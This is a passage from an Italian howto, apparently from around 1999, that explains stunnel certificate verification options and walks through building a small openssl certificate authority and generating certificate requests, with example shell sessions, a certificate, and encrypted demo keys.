(quella di default, p.es.), provochera' sempre un errore. Considero quest'opzione piuttosto inutile (almeno in un programma dove si creano dei "tunnel", cioe' relazioni abbastanza "statiche" tra le parti in causa). -v 2: verifica i certificati SEMPRE; Per ogni certificato viene controllata la validita' e la firma, tramite una copia della chiave pubblica della CA, che deve essere in locale (/usr/local/ssl/certs e correttamente "hashata"). E' utile principalmente sui client (sui server e' preferible l'opzione -v 3, vedi dopo), poiche' stunnel NON GESTISCE le CRL. Sara' cura dell'utente verificare periodicamente la validita' della chiave pubblica della CA (anche se GENERALMENTE la chiave pubblica di una CA non dovrebbe MAI essere revocata, se non in caso di compromissione della sicurezza della stessa - ma non sarebbe una CA molto affidabile. In caso di scadenza "naturale" della chiave, sara' openssl stesso a segnalarlo). -v 3: verifica i certificati SEMPRE, confrontandoli con una copia degli stessi che deve essere presente IN LOCALE; Per ogni certificato viene controllata la validita' e la firma sia con la copia della chiave pubblica della CA, SIA con una copia dello stesso certificato, che deve essere presente in locale. E' utile principalmente sui server. Aggiunge un grado di sicurezza "in piu'" (e anche di sbattimento per il sysadm :). Serve, p. es., per permettere l'accesso alle risorse protette solamente ad alcuni client (di cui sara' presente una copia della chiave pubblica in una directory locale sul server). Un client, anche se in possesso di un certificato regolarmente firmato da una CA autorizzata, NON potra' accedere alle risorse se il suo certificato non sara' presente in locale. Come gestire una CA? (Anche se intendete utilizzare una CA esterna, vi consiglio di leggere COMUNQUE questo capitolo... spieghero' brevemente alcune opzioni di configurazione ed alcuni parametri di openssl utili anche se generate solo le richieste di certificato) Qualora NON si desiderasse utilizzare una CA esterna, per ragioni che variano dalla semplice comodita' di utilizzo ad intricate necessita' di privacy e segretezza, etc., e' comunque possibile utilizzare openssl per impiantare e gestire una mini-CA "casalinga". E' da notare che le funzionalita' di generazione e firma dei certificati di openssl sono perfettamente "standard" e compatibili con "il resto del mondo", ma il suo utilizzo "pratico" a livello "commerciale" e' sconsigliabile per diversi fattori: il software comprende funzioni di key-managment piuttosto limitate e tutte le operazioni (o quasi) sono da effettuarsi manualmente... (quando si tratta di una dozzina di certificati, l'operazione e' fattibile.. se cominciamo a parlare di centinaia o migliaia di chiavi, con gestione "avanzata" dei permessi, delle CRL - Certificate Revocation Lists -, etc., diventa un'impresa improponibile). Per prima cosa bisognera' apportare qualche modifica al file di configurazione di openssl (/usr/local/ssl/openssl.cnf). Ovviamente e' consigliabile tenere una copia della vecchia configurazione da cui ripartire in caso di "problemi". Per il nostro esempio, cambieremo nella sezione [ CA_default ] dir = ./demoCA # Where everything is kept in dir = /usr/local/ssl/CA # Where everything is kept e personalizzeremo la sezione [ req_distinguished_name ] in questa maniera (potete sostituire interamente la sezione originale con quella riportata, cambiando i nomi - per proteggere gli innocenti :) ---> /usr/local/ssl/openssl.cnf (parte) [ req_distinguished_name ] countryName = STATO (codice 2 lettere) countryName_default = IT countryName_min = 2 countryName_max = 2 stateOrProvinceName = Nome stato (nome intero) stateOrProvinceName_default = ITALY localityName = S0ftpjlandia 0.organizationName = Nome organizzazione (p. es: ditta) 0.organizationName_default = s0ftpj organizationalUnitName = Nome dipartimento (p. es: sezione) commonName = Nome (p. es: il VOSTRO nome) commonName_max = 64 emailAddress = Indirizzo di posta emailAddress_max = 40 ---< L'utente piu' smaliziato trovera' poi utile analizzare e "personalizzare" altre sezioni di questo file di configurazione (non solo quello utilizzato per la CA, ma anche nei server e nei client). E' possibile, per esempio, cambiare la lunghezza (in bit) delle chiavi generate di default, la validita' (in giorni) dei certificati, e altre IMPORTANTI opzioni avanzate, p. es. quelle relative alle CRL (Certificate Revocation List) o quelle relative alla gestione e alle "policy" (regole) della CA (utili per impostare limiti ai certificati che sara' possibile firmare). In generale consiglio a tutti di leggere le voci ed i commenti presenti in openssl.cnf . E' da notare che nella distribuzione di openssl (e ssleay) sono presenti 2 script (CA.sh, CA.pl - dal funzionamento equivalente) che permettono di automatizzare maggiormente la gestione delle funzionalita' di CA del programma. Riportero' sia la sintassi per utilizzare direttamente openssl, sia quella degli script (personalmente uso gli script solo per generare la struttura delle directory e faccio a mano il resto). Se intendete utilizzare uno dei due script, e' consigliabile copiarlo dalla directory di distribuzione di openssl in /usr/local/ssl/bin o una directory di quelle della path (cp dir_dist_openssl/apps/CA.sh /usr/local/ssl/bin/) ed e' necessario modificare la directory di riferimento all'interno dello stesso (CATOP=./demoCA -> CATOP=/usr/local/ssl/CA in CA.sh - oppure $CATOP="/usr/local/ssl/CA" in CA.pl) Per i miei esempi, assumero' che sia openssl che CA.sh siano in una directory della path (direttamente o come link). E' da notare che i nomi di file che utilizzo nelle opzioni -out e -keyout possono essere cambiati A PIACERE, ma sono quelli utilizzati in CA.sh e ho preferito mantenerli per maggior "coerenza". In questa maniera i comandi riporatati sono ESATTAMENTE quelli utilizzati da CA.sh (o .pl). Generiamo quindi la struttura delle directory necessarie, come specificato nel file di configurazione.. ---> /usr/local/ssl/openssl.cnf (parte) [ CA_default ] dir = /usr/local/ssl/CA # Where everything is kept certs = $dir/certs # Where the issued certs are kept crl_dir = $dir/crl # Where the issued crl are kept database = $dir/index.txt # database index file. new_certs_dir = $dir/newcerts # default place for new certs. certificate = $dir/cacert.pem # The CA certificate serial = $dir/serial # The current serial number crl = $dir/crl.pem # The current CRL private_key = $dir/private/cakey.pem# The private key RANDFILE = $dir/private/.rand # private random number file ---< ---> shell (attenzione ai [commenti]!) kppc:/usr/local/ssl# CA.sh -help usage: CA -newcert|-newreq|-newca|-sign|-verify kppc:/usr/local/ssl# CA.sh -newca CA certificate filename (or enter to create) [premere invio, o inserire il nome di un certificato gia' creato e valido per la CA] Making CA certificate ... Using configuration from /usr/local/ssl/openssl.cnf Generating a 1024 bit RSA private key .+++++ .......+++++ writing new private key to '/usr/local/ssl/CA/private/./cakey.pem' Enter PEM pass phrase: [inserire la parola d'ordine con cui proteggere la chiave privata della CA, ovviamente "parola d'ordine" non e' una buona scelta :) ] Verifying password - Enter PEM pass phrase: ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- STATO (codice 2 lettere) [IT]: [reinserire la parola d'ordine per conferma, quindi rispondere ai vari quesiti. E' consigliabile utilizzare dati reali, per una maggiore "coerenza", soprattutto se si dovranno certificare molti server/utenti Premendo invio verra' scelto il default, IT in questo caso] Nome stato (nome intero) [ITALY]: S0ftpjlandia []: Nome organizzazione (p. es: ditta) [s0ftpj]: Nome dipartimento (p. es: sezione) []:Certification Authority Nome (p. es: il VOSTRO nome) []:Admin Indirizzo di posta []:admin@s0ftpj.org ---< Come potete notare, avendo precedentemente personalizzato il file di configurazione, e' stato sufficente inserire il "Nome dipartimento" (indicato come organizationalUnitName nella conf. originale), il nome dell'"intestatario" di quel certificato (commonName) e l'indirizzo email dello stesso (emailAddress). Avremmo anche potuto fare "a mano": ---> shell kppc:/usr/local/ssl/CA# mkdir certs kppc:/usr/local/ssl/CA# mkdir crl kppc:/usr/local/ssl/CA# mkdir newcerts kppc:/usr/local/ssl/CA# mkdir private kppc:/usr/local/ssl/CA# echo "01" > serial kppc:/usr/local/ssl/CA# touch index.txt kppc:/usr/local/ssl/CA# openssl req -new -x509 -keyout private/cakey.pem -out cacert.pem -days 365 Using configuration from /usr/local/ssl/openssl.cnf Generating a 1024 bit RSA private key ..................+++++ ....+++++ writing new private key to 'private/cakey.pem' Enter PEM pass phrase: Verifying password - Enter PEM pass phrase: ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- STATO (codice 2 lettere) [IT]: Nome stato (nome intero) [ITALY]: S0ftpjlandia []: Nome organizzazione (p. es: ditta) [s0ftpj]: Nome dipartimento (p. es: sezione) []:Certification Authority Nome (p. es: il VOSTRO nome) []:Admin Indirizzo di posta []:admin@s0ftpj.org ---< In entrambi i casi avremmo una directory /usr/local/ssl/CA cosi' strutturata: ---> shell kppc:/usr/local/ssl/CA# tree . |-- cacert.pem |-- certs |-- crl |-- index.txt |-- newcerts |-- private | -- cakey.pem -- serial 4 directories, 4 files ---< cacert.pem - e' la chiave pubblica della nostra nuova CA index.txt - serve a openssl per tenere l'elenco dei certificati emessi serial - numero seriale dell'ultimo certificato emesso certs - directory dove posizionare i certificati autenticati (in realta' openssl di suo non mette nulla in questa directory, ma puo' risultare comunque utile) newcerts - directory dove vengono posizionati i certificati appena autenticati private - directory dove posizionare le chiavi private cakey.pem - la chiave privata della CA (DA TENERE ASSOLUTAMENTE SEGRETA) A questo punto possiamo cambiare i permessi generali per la directory ed i file. E' DA NOTARE che questa operazione va COMUNQUE effettuata a mano CA.sh o .pl NON MODIFICANO i permessi standard delle directory) E' ALTAMENTE consigliabile che questa directory sia utilizzabile solamente da chi effettivamente e' l'amministratore della CA (nel mio esempio, root): ---< shell kppc:/usr/local/ssl/CA# chmod 700 . kppc:/usr/local/ssl/CA# chmod -R og= * kppc:/usr/local/ssl/CA# ls -al total 9 drwx------ 6 root staff 1024 Nov 1 02:10 . drwxr-sr-x 10 root staff 1024 Nov 1 02:08 .. -rw------- 1 root staff 1224 Nov 1 02:10 cacert.pem drwx------ 2 root staff 1024 Nov 1 02:08 certs drwx------ 2 root staff 1024 Nov 1 02:08 crl -rw------- 1 root staff 0 Nov 1 02:08 index.txt drwx------ 2 root staff 1024 Nov 1 02:08 newcerts drwx------ 2 root staff 1024 Nov 1 02:10 private -rw------- 1 root staff 3 Nov 1 02:08 serial kppc:/usr/local/ssl/CA# tree -p . |-- [-rw-------] cacert.pem |-- [drwx------] certs |-- [drwx------] crl |-- [-rw-------] index.txt |-- [drwx------] newcerts |-- [drwx------] private | -- [-rw-------] cakey.pem -- [-rw-------] serial 4 directories, 4 files ---< Abbiamo creato un certificato RSA (con corrispettiva chiave privata) a 1024 bit intestato all'organizzazione "s0ftpj", sottosezione "Certification Authority", nome "Admin" e indirizzo di posta "admin@s0ftpj.org", della citta' "S0ftpjlandia", stato "ITALY", codice "IT", valido 365 giorni, numero seriale "0" e utilizzabile per firmare altri certificati. Analizziamolo in dettaglio: ---> shell kppc:/usr/local/ssl/CA# openssl x509 -text -noout -in cacert.pem Certificate: Data: Version: 3 (0x2) Serial Number: 0 (0x0) Signature Algorithm: md5WithRSAEncryption Issuer: C=IT, ST=ITALY, O=s0ftpj, OU=Certification Authority, CN=Admin/ Email=admin@s0ftpj.org Validity Not Before: Nov 1 03:45:46 1999 GMT Not After : Oct 31 03:45:46 2000 GMT Subject: C=IT, ST=ITALY, O=s0ftpj, OU=Certification Authority, CN=Admin /Email=admin@s0ftpj.org Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:cc:49:cd:15:81:f6:d4:79:b2:dc:95:64:9b:3b: 8f:a1:c6:73:84:f0:38:6c:12:eb:04:7c:a6:ec:95: 69:ac:d2:b5:b0:b2:cd:b7:4c:a4:8f:a6:60:d2:8b: 93:63:23:6a:a6:0d:e3:70:bc:7a:91:3e:eb:c1:82: 58:de:50:11:3a:5f:09:9f:e9:d3:a0:07:49:06:b6: 4b:e8:db:c9:b2:cb:2f:fb:97:68:42:f4:b7:e4:95: 27:61:1d:17:4b:71:16:7f:05:09:19:83:43:9f:2e: 91:9e:32:c8:77:77:d9:2d:0b:00:f3:28:65:b1:f0: 1a:c6:3a:48:72:d4:c1:3f:6d Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 54:02:32:70:F4:C4:65:67:DB:B8:B4:8E:BE:9A:74:17:D8:29:CA:8B X509v3 Authority Key Identifier: keyid:54:02:32:70:F4:C4:65:67:DB:B8:B4:8E:BE:9A:74:17:D8:29:CA: 8B DirName:/C=IT/ST=ITALY/O=s0ftpj/OU=Certification Authority/CN=A dmin/Email=admin@s0ftpj.org serial:00 X509v3 Basic Constraints: CA:TRUE Signature Algorithm: md5WithRSAEncryption 75:e5:a1:e5:a8:b1:9c:ba:63:b3:7d:5a:8c:ee:2b:cd:65:30: ad:c8:a6:0c:11:34:43:75:50:3a:1d:f1:4e:9c:8b:ac:47:bf: 59:a7:9c:16:23:7c:9e:f9:9a:be:37:e6:f9:12:32:4d:77:66: 39:7d:94:02:e1:82:69:88:5d:32:49:a3:ee:74:fb:e4:78:54: eb:e6:36:dc:09:bb:dd:9c:63:be:bf:aa:7f:bf:8f:f2:c3:a2: b4:e1:1a:04:a3:39:0e:9a:c5:50:11:22:14:76:81:33:00:53: c3:6a:eb:0e:e3:fb:ab:94:18:55:da:de:88:f5:7c:55:63:be: 7b:bd kppc:/usr/local/ssl/CA# cat cacert.pem -----BEGIN CERTIFICATE----- MIIDXDCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBgTELMAkGA1UEBhMCSVQx DjAMBgNVBAgTBUlUQUxZMQ8wDQYDVQQKEwZzMGZ0cGoxIDAeBgNVBAsTF0NlcnRp ZmljYXRpb24gQXV0aG9yaXR5MQ4wDAYDVQQDEwVBZG1pbjEfMB0GCSqGSIb3DQEJ ARYQYWRtaW5AczBmdHBqLm9yZzAeFw05OTExMDEwMzQ1NDZaFw0wMDEwMzEwMzQ1 NDZaMIGBMQswCQYDVQQGEwJJVDEOMAwGA1UECBMFSVRBTFkxDzANBgNVBAoTBnMw ZnRwajEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxDjAMBgNVBAMT BUFkbWluMR8wHQYJKoZIhvcNAQkBFhBhZG1pbkBzMGZ0cGoub3JnMIGfMA0GCSqG SIb3DQEBAQUAA4GNADCBiQKBgQDMSc0VgfbUebLclWSbO4+hxnOE8DhsEusEfKbs lWms0rWwss23TKSPpmDSi5NjI2qmDeNwvHqRPuvBgljeUBE6Xwmf6dOgB0kGtkvo 28myyy/7l2hC9LfklSdhHRdLcRZ/BQkZg0OfLpGeMsh3d9ktCwDzKGWx8BrGOkhy 1ME/bQIDAQABo4HhMIHeMB0GA1UdDgQWBBRUAjJw9MRlZ9u4tI6+mnQX2CnKizCB rgYDVR0jBIGmMIGjgBRUAjJw9MRlZ9u4tI6+mnQX2CnKi6GBh6SBhDCBgTELMAkG A1UEBhMCSVQxDjAMBgNVBAgTBUlUQUxZMQ8wDQYDVQQKEwZzMGZ0cGoxIDAeBgNV BAsTF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MQ4wDAYDVQQDEwVBZG1pbjEfMB0G CSqGSIb3DQEJARYQYWRtaW5AczBmdHBqLm9yZ4IBADAMBgNVHRMEBTADAQH/MA0G CSqGSIb3DQEBBAUAA4GBAHXloeWosZy6Y7N9WozuK81lMK3IpgwRNEN1UDod8U6c i6xHv1mnnBYjfJ75mr435vkSMk13Zjl9lALhgmmIXTJJo+50++R4VOvmNtwJu92c Y76/qn+/j/LDorThGgSjOQ6axVARIhR2gTMAU8Nq6w7j+6uUGFXa3oj1fFVjvnu9 -----END CERTIFICATE----- kppc:/usr/local/ssl/CA# cat private/cakey.pem -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,9A085D61C1681DC4 KmUbmLM4ganJQP63gpzWJ8PXKmXF3LB4B/4iUx3fIbbhI4bl1kDgNGQoOCAg+ynV UjPM/k5lXE4lsqSIO2uanfOm06G8zyJuXcW1Y1BfTKEbfqkE4H31EPt8F6SYs+Sh NsiHi2EV1emf5MPx2hmf6AvhSkIvNAckLdwJOrgjNEns36tfMQUnvm15gmb26yti vMZkQL0olGz4gVyWjziWxFYvkvcZh9vnpJP0U4Use48DDsgMzBn2JrxWnwZHw6Qs yH55IKh30U1BzzPn6KXt/6ZNpCennull4nGdepJUecw1yV1cQGZUvfaSxbeD8Rpy gBQ2FiZB7r8j206/WqBkhgOTLE8eVwKH7GakROogmKCR173dyqfzmq1s+gZu5p6g ek3ulat1sTezj/g79fgtY3hahGS06csRiWLRAN/eo32GFG5svt4gPh4BJZNpaEnz BrKxVkvrYHz4rfqg48fAUgE9Tmata0oYdFD1XICVgAUEGqK0KFUg/kUkNVCeh3KQ /rC6X80sp15kp5H1o27gR8lsvUTHoOo0TXPuq41LfiBWwS5hh/xo0rr/7n4c1CP7 yLP2xUSqI0ovwG0bB9dZokI8gdLuwsxSyBRGK83xzm7fhd9iAbfONqZrpI4RDslf zlIQZjJfUCfRvoRojE9adT00AoHhq4OEM0HC0LPScrvxtSzOudMLy5mumsD5UhXo 4JyHQosHYSpUo8CaMWQnTGXLCbdxWQm4O1tTfIdU0hbM7kqsR9AKjP9Rh4QkTpXM QWqreomK4dIN3lDZAv5aegmoin0B1QuXGQHCbQSR6Q/oGf3UxPfFIg== -----END RSA PRIVATE KEY----- ---< Il primo comando visualizza il certificato nella sua forma ASN.1 (una notazione "standard" per la diffusione di informazioni in formato testuale). Il secondo visualizza il contenuto del file cacert.pem, che contiene il certificato pubblico "fatto e finito" della nostra CA, cioe' il certificato che openssl (o altri programmi) utilizzeranno per verificare i certificati da voi "firmati". Il terzo visualizza il contenuto del file private/cakey.pem. Questo file contiene (in forma crittografata) la chiave privata della vostra CA. OVVIAMENTE NON E' PROPRIO IL CASO DI DISTRIBUIRE O FAR VISUALIZZARE AD ALTRI QUESTA CHIAVE, ANCHE NELLA SUA FORMA CIFRATA (viene qui riportata solamente come esempio). Prima di continuare, per generare una chiave con un numero di bit maggiori, potete aggiungere il parametro -newkey rsa:2048 oppure cambiare il parametro default_bits nella sezione [req] del file di configurazione. Per utilizzare invece l'algoritmo DSA/DSS e' necessario specificare il parametro -newkey dsa:bit (di default openssl genera chiavi RSA). Se, seguendo gli esempi riportati senza aver letto tutto l'articolo (SCONSIGLIATO) avete gia' generato la chiave della CA come RSA/1024 bit ed intendete cambiarla, dovete RIGENERARLA. E' importante decidere PRIMA il tipo di chiave ed il numero di bit da utilizzare, infatti cambiare la chiave della CA dopo aver gia' firmato dei certificati, vi obblighera' a RIFIRMARLI con la nuova chiave. Peggio ancora se avete gia' diffuso la chiave pubblica, dovrete ridistribuire il nuovo certificato (chiave pubblica) ed assicurarvi che TUTTI i client ed i server che la utilizzano ne siano informati e provvedano all'aggiornamento. Per un uso "domestico" una chiave a 1024 bit e' considerata "sufficente", tuttavia, almeno per le CA, e' consigliabile utilizzare una chiave a 2048 o 4096 bit (e queste chiavi dovrebbero venire generate in locale, su macchine non connesse a nessuna rete, protette con particolare attenzione, etc. etc. etc.). Il file cacert.pem deve essere "distribuito" come chiave pubblica "ufficiale" della CA, possibilmente rinominato in qualcosa di piu' comprensibile, tipo s0ftpj_CA.pem. E' anche consigliabile che sia possibile per un utente o chiunque ne abbia bisogno ritrovare "autonomamente" questa chiave pubblica, per esempio pubblicandola sul web server, mettendola a disposizione via ftp, tramite una richiesta di finger, etc. I certificati per gli utenti. Abbiamo preparato la nostra CA e siamo pronti per generare i vari certificati. Ai fini di openssl, i certificati dei server e dei client sono uguali (ci sarebbe il campo nsCertType - che stunnel non usa - per specificare per quale validita' ha il certificato - p. es: client, email, server, objsign, etc. - pero', ARGH!, questo e' un mini-howto su come tunnelarvi il bnc e il pop3, non su come impiantare una CA commerciale e diventare miliardari - se qualcuno comunque vuole sbattersi ad approfondire ulteriormente, faccia pure e mi comunichi i risultati, che saro' lieto di aggiungere a questo papiro - mailto: hovogliadisbattermi@sikurezza.org). E' possibile generare i certificati da autenticare direttamente (per i vostri utenti "lamah") oppure (maggior privacy) ricevere la richiesta di certificato da parte dei vari utenti (e/o sysadm), possibilmente VERIFICANDO che la richiesta ed i dati contenuti siano reali (quindi fatevi mandare le richieste cifrate e "firmate" con qualche sistema) e reinviare il certificato "autenticato". Ovviamente nel primo caso la CA sara' in possesso della chiave privata dell'utente; poiche' comunque non e' il caso di utilizzare i certificati generati per stunnel (sia client che server) per altri scopi (firmare la posta, etc.) perche' NON sono cifrati (normalmente le chiavi private vengono sempre protette tramite una password, ma non e' possibile utilizzare chiavi cifrate con stunnel), questa soluzione e' piu' che accettabile se firmate certificati di utenti che devono accedere ai vostri servizi (visto che comunque sarebbe possibile per voi accedere ai dati che vengono protetti tramite stunnel). Se invece utilizzate una CA di terze parti, e' decisamente consigliabile generare "in proprio" le chiavi private di cui poi chiedere la certificazione. Generazione di una chiave privata e conseguente richiesta di certificato da inviare alla CA: ---> shell kppc:~$ CA.sh -newreq ---< OPPURE ---> kppc:~$ openssl req -new -keyout newreq.pem -out newreq.pem -days 365 Using configuration from /usr/local/ssl/openssl.cnf Generating a 1024 bit RSA private key ....+++++ ............+++++ writing new private key to 'newreq.pem' Enter PEM pass phrase: Verifying password - Enter PEM pass phrase: ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- STATO (codice 2 lettere) [IT]: Nome stato (nome intero) [ITALY]: S0ftpjlandia []: Nome organizzazione (p. es: ditta) [s0ftpj]: Nome dipartimento (p. es: sezione) []:Stunnel client Nome (p. es: il VOSTRO nome) []:Kobaiashi Indirizzo di posta []:koba@s0ftpj.org Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: ---< Come potete notare, ho lasciato invariati il nome dell'organizzazione ed i nomi delle localita' e degli stati, mentre ho cambiato il nome del dipartimento ed il nome/indirizzo email "personale". Ovviamente non e' obbligatorio cambiarli o valorizzarli con dati "reali", e' da notare pero' che questi campi sono gli unici che ci permettono di distinguere "facilmente" tra un certificato e l'altro (sempre che non vogliate ricordarvi il numero seriale o la chiave pubblica/privata di ogni certificato a memoria :). Personalmente valorizzo il parametro "nome dipartimento" (organizationalUnitName) per "identificare" l'utilizzo che faro' del certificato (p. es: Stunnel client, Stunnel server, Telnet client, Telnetd server, Certification Authority, etc.). Gli ultimi due parametri sono opzionali e assolutamente inutili ai fini del nostro esempio. Li lasceremo quindi NON valorizzati (vuoti). Ad essere sincero, non ho un'idea precisa del loro utilizzo reale. _Dovrebbero_ poter essere utili nella revoca dei certificati, ma non sono utilizzati da openssl e sono mantenuti solamente per compatibilita' con gli standard (in particolare con Netscape Client). ---> ssleat.txt (linea 4694 -> 4701) - The Navigator supports a new HTML tag "KEYGEN" which will cause the browser to generate an RSA key pair when you submit a form containing the tag. The public key, along with an optional challenge (supposedly provided for use in certificate revocation but I don't use it) is signed, DER-encoded, base-64 encoded and sent to the web server as the value of the variable whose NAME is provided in the KEYGEN tag. The private key is stored by the browser in a local key database. ---< Vengono inseriti solamente nella richiesta di certificato, ma non vengono poi riportati nei certificati finali o in nessun'altro file utile ai fini della gestione CA in openssl. ---> newreq.pem (parte) - esempio di valorizzazione dei parametri Attributes: unstructuredName :dato_inserito challengePassword :dato_inserito <--- Il file creato contiene SIA la chiave privata, che la richiesta di certificato: ---> shell kppc:~$ cat newreq.pem -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,C088C4ACD6EF66CA TwIdD/qQkr8c3bZEMbce+vEt6wFsu6QoEOgtHln5H7XSNO+MXyvNhrXa9bIKKMM+ yG0x4BR2Fw1Ecs3wvGtxGHTM220bxJH4gn8iOvf16SzxxFN09+N6hPjxKgAMQdci 7+pg4pTNN2P8CQbn+YeeeHZxzolbZHsZm4TW4TqCfOiDOEqAR36SbZ9HUQESDPaj AT/lC9Q5Br3h2uFYCcDFFnQmNnRpldHt3h/pakbFFHaUVj8wtVYUvuQvZ4hTQgaO +oEXkQIg54MDQ11lf7KBu1kxIemDgxD/padp9bL7mfQLBIGemTJMsfSrp7ZO9mGi m7Rqwc5AnYGhdLzg5eE6E2M3RDg3pQnl7XwbBwDb3HYLqYyxaJg7BeKb8JunxH6W 47Ad50dWZEd+jVZFI8LVOnEaMy8TzjITBNcEC0hT1oRvMD4obdROGeMkBj98/cro Iih4eN9+sJ42AT9zaJtW3JvJsHWjCwSFj0qa6ICGR5egYP9HA/HN/bkcsT/FQ1+u HO0PqoyBSLNNq2EbHzrZsm7Ajc7aInqTczP8zLVWc1wzP1p02QJpyr1FqiluARSX 1lNFANda+kqHbWpOmR/Oa7NgocftFlOlIH23ZF+SDEjO2a64uQQ3/CKf9IJBVlI1 epVWl3NqIqTYNCrCneyNm7adjN9NMjxM2roGIDiCgNFc/39gU1HkmEyL7kF/eGEd 7n7ObWrWvJmRE7g1VsgkXwJSoumv+/KJRQFCq6dZSQ1yL3AWdi2wfprftse9vF3/ cbzyu5IsgVVj8HhIm3VjDV8mzNWXiY5nNocLwoSF+T+TP39whz7u5A== -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE REQUEST----- MIIBuzCCASQCAQAwezELMAkGA1UEBhMCSVQxDjAMBgNVBAgTBUlUQUxZMQ8wDQYD VQQKEwZzMGZ0cGoxFzAVBgNVBAsTDlN0dW5uZWwgY2xpZW50MRIwEAYDVQQDEwlL b2JhaWFzaGkxHjAcBgkqhkiG9w0BCQEWD2tvYmFAczBmdHBqLm9yZzCBnzANBgkq hkiG9w0BAQEFAAOBjQAwgYkCgYEApUF9foVcyAIkgc76ABIenr+iAZtUnPnZaplB +veGYjH5dlJ/9y5ZuAcPP0mhVVtUxfEPX+oixDeBF+ZGTMmJS0shrm3t0Mdd93HN v6pIf7DxTg9q4YQlpWrb5FLTA9CZNXT99Aj5bZbtNibBxTJ7fhzLrEZdglCO1Izu yBimXMMCAwEAAaAAMA0GCSqGSIb3DQEBBAUAA4GBAC39jdoexKcCph0NLOFugQpU mKWcpn9Y2rlwcVPffsSLHazSTJNqdrAzpd3ME9pn5u8fApoZmmhOk3ObQd2GBFc1 HPHWPgXLPvGBG3agIhHtG/onUN1NucpeJZEjK10Us3RzZS0ptLC2Xbd/VBfUmfoS zPaF2O9S9tbOMnhVe1++ -----END CERTIFICATE REQUEST----- ---< NOTA: e' anche possibile (se non si utilizza CA.sh, quindi, tipicamente, se la richiesta viene generata direttamente dall'utente e non da chi gestisce la CA) separare direttamente l'output della chiave privata in un file (-keyout koba_private.pem) e quello della richiesta di certificato in un altro (-out koba_req.pem), evitando questo "doppio" passaggio. Se la chiave e' da utilizzarsi per stunnel (o altri programmi che richiedano chiavi private in chiaro) possiamo aggiungere l'opzione -nodes per generare una chiave privata NON CIFRATA (normalmente, come negli esempi, ogni chiave privata e' protetta da una pasword. In seguito genereremo da questa chiave una copia non protetta, quindi non e' comunque necessario utilizzare quest'opzione, evita solo di dover inserire - e ricordarsi - una password). Poiche' invieremo alla CA da cui dobbiamo essere autenticati SOLAMENTE la richiesta di certificato, generiamo da newreq.pem un file contente la richiesta, che chiameremo koba_req.pem . ---> shell kppc:~$ openssl req -in newreq.pem -out koba_req.pem Using configuration from /usr/local/ssl/openssl.cnf kppc:~$ cat koba_req.pem -----BEGIN CERTIFICATE REQUEST----- MIIBuzCCASQCAQAwezELMAkGA1UEBhMCSVQxDjAMBgNVBAgTBUlUQUxZMQ8wDQYD VQQKEwZzMGZ0cGoxFzAVBgNVBAsTDlN0dW5uZWwgY2xpZW50MRIwEAYDVQQDEwlL b2JhaWFzaGkxHjAcBgkqhkiG9w0BCQEWD2tvYmFAczBmdHBqLm9yZzCBnzANBgkq hkiG9w0BAQEFAAOBjQAwgYkCgYEApUF9foVcyAIkgc76ABIenr+iAZtUnPnZaplB +veGYjH5dlJ/9y5ZuAcPP0mhVVtUxfEPX+oixDeBF+ZGTMmJS0shrm3t0Mdd93HN v6pIf7DxTg9q4YQlpWrb5FLTA9CZNXT99Aj5bZbtNibBxTJ7fhzLrEZdglCO1Izu yBimXMMCAwEAAaAAMA0GCSqGSIb3DQEBBAUAA4GBAC39jdoexKcCph0NLOFugQpU mKWcpn9Y2rlwcVPffsSLHazSTJNqdrAzpd3ME9pn5u8fApoZmmhOk3ObQd2GBFc1 HPHWPgXLPvGBG3agIhHtG/onUN1NucpeJZEjK10Us3RzZS0ptLC2Xbd/VBfUmfoS zPaF2O9S9tbOMnhVe1++ -----END CERTIFICATE REQUEST----- ---< E' possibile visualizzare l'output "text" (ASN.1) della richiesta di certificato che stiamo per inviare: ---> shell kppc:~$ openssl req -text -noout -in koba_req.pem Using configuration from /usr/local/ssl/openssl.cnf Certificate Request: Data: Version: 0 (0x0) Subject: C=IT, ST=ITALY, O=s0ftpj, OU=Stunnel client, CN=Kobaiashi/Emai l=koba@s0ftpj.org Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:a5:41:7d:7e:85:5c:c8:02:24:81:ce:fa:00:12: 1e:9e:bf:a2:01:9b:54:9c:f9:d9:6a:99:41:fa:f7: 86:62:31:f9:76:52:7f:f7:2e:59:b8:07:0f:3f:49: a1:55:5b:54:c5:f1:0f:5f:ea:22:c4:37:81:17:e6: 46:4c:c9:89:4b:4b:21:ae:6d:ed:d0:c7:5d:f7:71: cd:bf:aa:48:7f:b0:f1:4e:0f:6a:e1:84:25:a5:6a: db:e4:52:d3:03:d0:99:35:74:fd:f4:08:f9:6d:96: ed:36:26:c1:c5:32:7b:7e:1c:cb:ac:46:5d:82:50: 8e:d4:8c:ee:c8:18:a6:5c:c3 Exponent: 65537 (0x10001) Attributes: a0:00 Signature Algorithm: md5WithRSAEncryption 2d:fd:8d:da:1e:c4:a7:02:a6:1d:0d:2c:e1:6e:81:0a:54:98: a5:9c:a6:7f:58:da:b9:70:71:53:df:7e:c4:8b:1d:ac:d2:4c: 93:6a:76:b0:33:a5:dd:cc:13:da:67:e6:ef:1f:02:9a:19:9a: 68:4e:93:73:9b:41:dd:86:04:57:35:1c:f1:d6:3e:05:cb:3e: 